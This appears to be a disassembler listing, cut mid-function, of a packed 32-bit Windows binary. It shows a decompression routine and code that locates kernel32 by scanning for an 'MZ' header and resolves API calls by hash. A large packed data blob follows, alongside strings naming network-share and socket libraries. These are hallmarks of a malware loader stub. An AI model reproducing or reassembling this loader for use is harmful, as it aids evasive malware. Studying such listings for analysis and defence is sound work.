		add	ebx, edi
		push	ebx
		push	8000h
		push	0
		push	esi
		call	dword ptr [ebp+3F4h]
		push	99E000h
		retn
sub_4E033E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 9400h
		db 0, 97h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4E05C7	proc near		; CODE XREF: sub_4E033E+180p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4E05D5:				; CODE XREF: sub_4E05C7:loc_4E05E4j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_4E05DB:				; CODE XREF: sub_4E05C7+72j
					; sub_4E05C7+B7j ...
		add	dl, dl
		jnz	short loc_4E05E4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E05E4:				; CODE XREF: sub_4E05C7+16j
		jnb	short loc_4E05D5
		add	dl, dl
		jnz	short loc_4E05EF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E05EF:				; CODE XREF: sub_4E05C7+21j
		jnb	short loc_4E063B
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E05FC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E05FC:				; CODE XREF: sub_4E05C7+2Ej
		jnb	loc_4E06D8
		add	dl, dl
		jnz	short loc_4E060B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E060B:				; CODE XREF: sub_4E05C7+3Dj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0616
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0616:				; CODE XREF: sub_4E05C7+48j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0621
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0621:				; CODE XREF: sub_4E05C7+53j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E062C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E062C:				; CODE XREF: sub_4E05C7+5Ej
		adc	eax, eax
		jz	short loc_4E0636
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E0636:				; CODE XREF: sub_4E05C7+67j
		mov	[edi], al
		inc	edi
		jmp	short loc_4E05DB
; ---------------------------------------------------------------------------


loc_4E063B:				; CODE XREF: sub_4E05C7:loc_4E05EFj
		mov	eax, 1


loc_4E0640:				; CODE XREF: sub_4E05C7:loc_4E0654j
		add	dl, dl
		jnz	short loc_4E0649
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0649:				; CODE XREF: sub_4E05C7+7Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0654
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0654:				; CODE XREF: sub_4E05C7+86j
		jb	short loc_4E0640
		sub	eax, 2
		jnz	short loc_4E0683
		mov	ecx, 1


loc_4E0660:				; CODE XREF: sub_4E05C7:loc_4E0674j
		add	dl, dl
		jnz	short loc_4E0669
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0669:				; CODE XREF: sub_4E05C7+9Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0674
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0674:				; CODE XREF: sub_4E05C7+A6j
		jb	short loc_4E0660
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E05DB
; ---------------------------------------------------------------------------


loc_4E0683:				; CODE XREF: sub_4E05C7+92j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E0691:				; CODE XREF: sub_4E05C7:loc_4E06A5j
		add	dl, dl
		jnz	short loc_4E069A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E069A:				; CODE XREF: sub_4E05C7+CCj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E06A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E06A5:				; CODE XREF: sub_4E05C7+D7j
		jb	short loc_4E0691
		cmp	eax, 7D00h
		jnb	short loc_4E06C8
		cmp	eax, 500h
		jb	short loc_4E06C3
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E05DB
; ---------------------------------------------------------------------------


loc_4E06C3:				; CODE XREF: sub_4E05C7+ECj
		cmp	eax, 7Fh
		ja	short loc_4E06CB


loc_4E06C8:				; CODE XREF: sub_4E05C7+E5j
		add	ecx, 2


loc_4E06CB:				; CODE XREF: sub_4E05C7+FFj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E05DB
; ---------------------------------------------------------------------------


loc_4E06D8:				; CODE XREF: sub_4E05C7:loc_4E05FCj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E06F4
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E05DB
; ---------------------------------------------------------------------------


loc_4E06F4:				; CODE XREF: sub_4E05C7+119j
		pop	ebp
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_4], edi
		popa
		pop	ebp
		retn	8
sub_4E05C7	endp

; ---------------------------------------------------------------------------
		dd 77E82140h

; =============== S U B	R O U T	I N E =======================================



sub_4E0704	proc near		; CODE XREF: sub_4E033E:loc_4E0463p

arg_20		= dword	ptr  24h

		mov	eax, [esp+arg_20]
sub_4E0704	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4E0708	proc near		; CODE XREF: sub_4E033E+E1p
		and	eax, 0FFFF0000h
		add	eax, 10000h


loc_4E0712:				; CODE XREF: sub_4E0708+14j
		sub	eax, 10000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4E0712


loc_4E071E:				; CODE XREF: sub_4E033E+FDp
		pusha
		mov	[ebp+3F8h], eax
		mov	edx, eax
		mov	ebx, eax
		add	eax, [eax+3Ch]
		add	ebx, [eax+78h]
		mov	[ebp+30Dh], ebx
		lea	ebx, [ebp+3CCh]
		lea	edi, [ebp+3E4h]


loc_4E0741:				; CODE XREF: sub_4E0708+4Dj
		mov	esi, [ebx]
		mov	[ebp+37Ch], esi
		call	sub_4E0759
		stosd
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_4E0741
		popa
		retn
sub_4E0708	endp


; =============== S U B	R O U T	I N E =======================================



sub_4E0759	proc near		; CODE XREF: sub_4E0708+41p

var_4		= dword	ptr -4

		pusha
		mov	ebx, [ebp+30Dh]
		mov	ecx, [ebx+20h]
		add	ecx, edx


loc_4E0765:				; CODE XREF: sub_4E0759+21j
		mov	esi, [ecx]
		add	esi, edx
		call	sub_4E079D
		mov	edi, 49CD75CEh
		cmp	eax, edi
		jz	short loc_4E077C
		add	ecx, 4
		jmp	short loc_4E0765
; ---------------------------------------------------------------------------


loc_4E077C:				; CODE XREF: sub_4E0759+1Cj
		sub	ecx, [ebx+20h]
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, [ebx+24h]
		add	ecx, edx
		movzx	ecx, word ptr [ecx]
		shl	ecx, 2
		add	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	ecx, [ecx]
		add	ecx, edx
		mov	[esp+20h+var_4], ecx
		popa
		retn
sub_4E0759	endp


; =============== S U B	R O U T	I N E =======================================



sub_4E079D	proc near		; CODE XREF: sub_4E0759+10p
		push	edx
		mov	edx, 9C3B248Eh


loc_4E07A3:				; CODE XREF: sub_4E079D+1Dj
		lodsb
		or	al, al
		jz	short loc_4E07BC
		xor	dl, al
		mov	al, 8


loc_4E07AC:				; CODE XREF: sub_4E079D+1Bj
		shr	edx, 1
		jnb	short loc_4E07B6
		xor	edx, 0C1A7F39Ah


loc_4E07B6:				; CODE XREF: sub_4E079D+11j
		dec	al
		jnz	short loc_4E07AC
		jmp	short loc_4E07A3
; ---------------------------------------------------------------------------


loc_4E07BC:				; CODE XREF: sub_4E079D+9j
		xchg	eax, edx
		pop	edx
		retn
sub_4E079D	endp

; ---------------------------------------------------------------------------
		db 0A7h
		dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h
		dd 0FD000000h, 9377E7A5h, 0D877E79Fh, 0A77E805h, 3477E798h
		dd 77E79Eh, 77E600h, 540001B6h,	0F2000E0Bh, 158h, 300h
		dd 2 dup(400000h), 3 dup(0)
		dd 29200h, 0
		dd 12FFA4h, 12FFE0h, 970000h, 1000h, 26200h, 122BEh, 28000h
		dd 1E00h, 170Dh, 2A000h, 15E00h, 7428h,	64h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 0E0A10h, 0E09FCh, 3 dup(0)
		dd 0E0AC8h, 0E0AF5h, 3 dup(0)
		dd 0E0AD0h, 0E0AFDh, 3 dup(0)
		dd 0E0ADBh, 0E0B05h, 3 dup(0)
		dd 0E0AE8h, 0E0B0Dh, 5 dup(0)
		db  6Dh	; m
		db 70h,	72h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  77h	; w
		db 73h,	32h, 5Fh
		db  33h	; 3
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 6Fh
		db  6Ch	; l
		db 65h,	61h, 75h
		db  74h	; t
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  6Bh	; k
		db 65h,	72h, 6Eh
		db  65h	; e
		db 6Ch,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0B2ACh
		db  71h	; q
		align 4
		db    0
		db 22h,	41h, 0ABh
		db  71h	; q
		align 4
		db    0
		db 25h,	18h, 12h
		db  77h	; w
		align 4
		db    0
		db 6, 0D7h, 0E6h
		db  77h	; w
		align 4
		db    0
		db 2 dup(0), 57h
aNetaddconnecti	db 'NetAddConnection2A',0
		align 4
		db    0
aVariantchanget	db 'VariantChangeTypeEx',0
		db 2 dup(0), 52h
aAiseexception	db 'aiseException',0
		align 4
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
		dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh
		dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh
		dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch
		dd 847C62C8h, 52805C6h,	0EA0014Ah, 8CF5005Ah, 6D68100Ah
		dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh,	5DF82EA0h
		dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah
		dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h
		dd 423C3Ah, 0A63D51D5h,	0E4B52EB3h, 39FE601h, 61B88993h
		dd 117FDE4h, 153E3238h,	0E0535E57h, 0E9007505h,	0DA77CA51h
		dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch
		dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh
		dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h
		dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh
		dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h
		dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h
		dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch
		dd 7C0010FAh, 703C70Fh,	8B3034h, 2085D14Ch, 28A0D80Ch
		dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h
		dd 87B81C3Fh, 4EA83D0h,	0FCE2ABF0h, 7FE40186h, 15011217h
		dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh,	2C2B5F02h
		dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh
		dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh
		dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh
		dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh,	8806001Eh
		dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h
		dd 20670AA9h, 3E5A250Bh
		dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h,	4600FC32h
		dd 8316A008h, 0FE7A23h,	0B02CC74Bh, 0B20994F8h,	13B34503h
		dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
		dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
		dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h,	822CF4h
		dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
		dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
		dd 1B00060h, 489C5A59h,	30006BE9h, 7389DFA0h, 2C0239BAh
		dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
		dd 0FAC2F4h, 4D2E4C9Bh,	0A5F49009h, 4410BC00h, 1D5C890Dh
		dd 25B0013h, 3AEB1B87h,	431FE369h, 0C3001296h, 0E6BF5A92h
		dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
		dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
		dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
		dd 7448C51h, 591913CAh,	0A8870EAFh, 78962640h, 6B050969h
		dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
		dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h,	297B0099h
		dd 4470119h, 9D030320h,	7449F30Bh, 0C63FC824h, 0E8170781h
		dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h,	5EDF6Dh
		dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
		dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
		dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
		dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
		dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h,	0EAC55E03h
		dd 98CDA984h, 0BF1620h,	0BD0B8291h, 0D4E19B80h,	775C5375h
		dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh,	7F1F31D7h
		dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h,	67D10DE4h
		dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
		dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
		dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
		dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
		dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
		dd 15CAD33h, 4E0E6A00h,	645D4B7Eh, 559500D4h, 172DB68Dh
		dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
		dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
		dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
		dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
		dd 0C584B883h, 5ABC3Eh,	0C031B244h, 154C966h, 428F1E50h
		dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h
		dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h,	2A7829h
		dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h
		dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh
		dd 4C4000Ch, 5086092Fh,	0EB391290h, 8A0FFF01h, 0E0D14003h
		dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh,	0C50558h
		dd 34E6EB02h, 4FE255Fh,	1B1CC7FAh, 88508043h, 62070414h
		dd 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h
		dd 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h,	14D66A27h
		dd 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh
		dd 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh
		dd 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h
		dd 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h
		dd 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh,	40401E9Ch
		dd 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h,	483C0533h
		dd 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh
		dd 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh,	13FA2C16h
		dd 1CA959h, 0AB81C735h,	0D90F078Ah, 67A2BBD6h, 0D0009816h
		dd 381272h, 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h
		dd 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h
		dd 62410068h, 0C131A990h
		dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
		dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h,	5A73E1B0h
		dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
		dd 0F0FE5Eh, 8A367403h,	750A3A08h, 54306700h, 1489313h
